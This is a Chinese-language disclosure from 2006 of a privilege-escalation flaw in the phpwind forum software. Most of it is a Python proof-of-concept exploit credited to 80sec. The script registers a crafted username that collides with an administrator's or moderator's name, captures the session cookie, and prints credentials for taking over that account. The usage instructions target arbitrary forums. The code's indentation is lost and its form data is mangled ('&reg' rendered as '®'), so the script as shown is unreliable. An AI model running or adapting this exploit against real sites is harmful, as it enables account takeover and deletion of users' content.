漏洞說明:phpwind是國內使用非常廣泛的一款程式,由於在程式設計上存在錯誤,導致任何人可以取得前台管理員及斑主許可權,做刪除文章等任意操作
漏洞分析:由於phpwind論壇在設計上對資料庫儲存機制不瞭解,導致在程式邏輯上判斷有問題,用精心構造的資料註冊使用者即可獲得系統管理權限
漏洞測試:
[code]
# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
def banner():
print ""
print "########################################################"
print "Phpwind所有版本系統管理權限泄露漏洞利用poc"
print "Copyright (C) 2006"
print "jianxin@80sec.com"
print "80sec是一個新的致力於web安全的小團體"
print "http://www.80sec.com"
def usage():
banner()
print "Usage:\n"
print " $ ./phpwind.py pwforumurl usertoattack\n"
print " pwforumurl 目標論壇地址如http://www.80sec.com/"
print " usertoattack 目標擁有許可權的斑竹或管理員"
print " 攻擊結果將會在目標論壇註冊一個和目標使用者一樣的帳戶"
print " 最新版本可以使用uid登陸"
print " 其他版本可以使用cookie+useragent登陸"
print "########################################################"
print ""
argvs=sys.argv
usage()
data = "regname=%s%s1®pwd=@80sec®pwdrepeat=@80sec®email=foo@foo.com®emailtoall=1&step=2" % (argvs[2],"%c1")
pwurl = "%s/register.php" % argvs[1]
request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
cookie=headers["set-cookie"]
try:
if cookie.index('winduser'):
print "Exploit Success!"
print "Login with uid password @80sec or Cookie:"
print cookie
print "User-agent: 80sec owned this"
except:
print "Error! http://www.80sec.com"
print "Connect root#80sec.com"
[/code]